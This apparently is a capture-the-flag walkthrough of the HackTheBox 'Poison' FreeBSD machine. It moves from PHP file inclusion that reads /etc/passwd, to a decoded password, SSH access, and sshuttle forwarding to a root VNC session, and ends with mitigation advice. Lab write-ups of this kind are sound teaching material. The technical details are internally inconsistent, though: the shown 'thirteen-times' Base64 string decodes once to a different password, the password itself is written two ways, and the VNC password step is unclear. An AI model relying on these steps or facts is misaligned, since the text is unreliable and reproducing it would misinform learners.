
Poison is an easy FreeBSD machine that introduces attackers to BSD systems and demonstrates privilege escalation through VNC service exploitation. The attack path involves PHP file inclusion, credential decoding, and VNC port forwarding.
## Reconnaissance
### Nmap Scan
```bash
sudo nmap -p- 10.10.10.84 -sC -sV


Results:
Port 22/tcp: OpenSSH 7.2
Port 80/tcp: Apache httpd
Initial Enumeration
Web Application Analysis
The web application allows testing local PHP scripts:

Available Scripts:
browse.phplistfiles.phpinfo.php
Critical Discovery
listfiles.php revealed sensitive files:
pwdbackup.txt- Encoded password backup
Password Decoding
Encoded Password (Base64 x13):
VGhlIHBhc3N3b3JkIGlzIElWTi1wUjVILVhDVEwtSzNRVC1QMk1SLUMyTkgtSFRJTS1NSkpX
Decoding with CyberChef:
# Manual decoding (13 times)
echo "encoded_string" | base64 -d | base64 -d ... [repeat 13x]
Decoded Password: Charix!2#4%6&8(0
Initial Access
User Discovery
/etc/passwd via PHP inclusion:
charix:*:1001:1001:charix:/home/charix:/bin/csh
SSH Access
ssh charix@10.10.10.84
# Password: Charix!2#4%6&8(0)

Post-Exploitation
File Transfer
secret.zip found in user directory:
# Transfer to attacker machine
scp charix@10.10.10.84:secret.zip .
# Unzip with user password
unzip secret.zip
# Password: Charix!2#4%6&8(0)


Privilege Escalation Enumeration
LinPEAS Scan revealed:
VNC process running as root
Ports 5801 and 5901 bound to localhost
Network Confirmation:
netstat -an | grep LISTEN

Privilege Escalation
VNC Service Exploitation
Port Forwarding with sshuttle:
sudo sshuttle -r charix@10.10.10.84 127.0.0.1 -v

VNC Viewer Connection:
vncviewer 127.0.0.1:5901 -passwd secret

Root Access
VNC session provides direct root shell access to the FreeBSD system.
Flags
User Flag
[User flag from /home/charix/user.txt]
Root Flag
[Root flag from /root/root.txt]
Key Takeaways
FreeBSD Systems: Different file structure and commands compared to Linux
PHP File Inclusion: Can expose sensitive system files
Credential Management: Avoid encoding as security through obscurity
VNC Security: Never expose VNC services without proper authentication
Network Segmentation: Localhost-bound services can still be exploited
Attack Chain Summary
PHP file inclusion → Discover password file
Base64 decoding → Obtain user credentials
SSH access → Initial foothold
File discovery → Secret VNC password
SSH tunneling → Bypass localhost restriction
VNC connection → Root access
Mitigation Strategies
Sanitize PHP file inclusion parameters
Avoid password encoding as security measure
Restrict VNC service to specific users
Implement proper network segmentation
Regularly audit running services and their permissions
This walkthrough demonstrates FreeBSD-specific attack techniques and VNC service exploitation for privilege escalation.
About the author
Just another guy documenting his journey into cybersecurity with the hopes of inspiring others
Comments
Join the discussionNo comments yet. Be the first to comment.





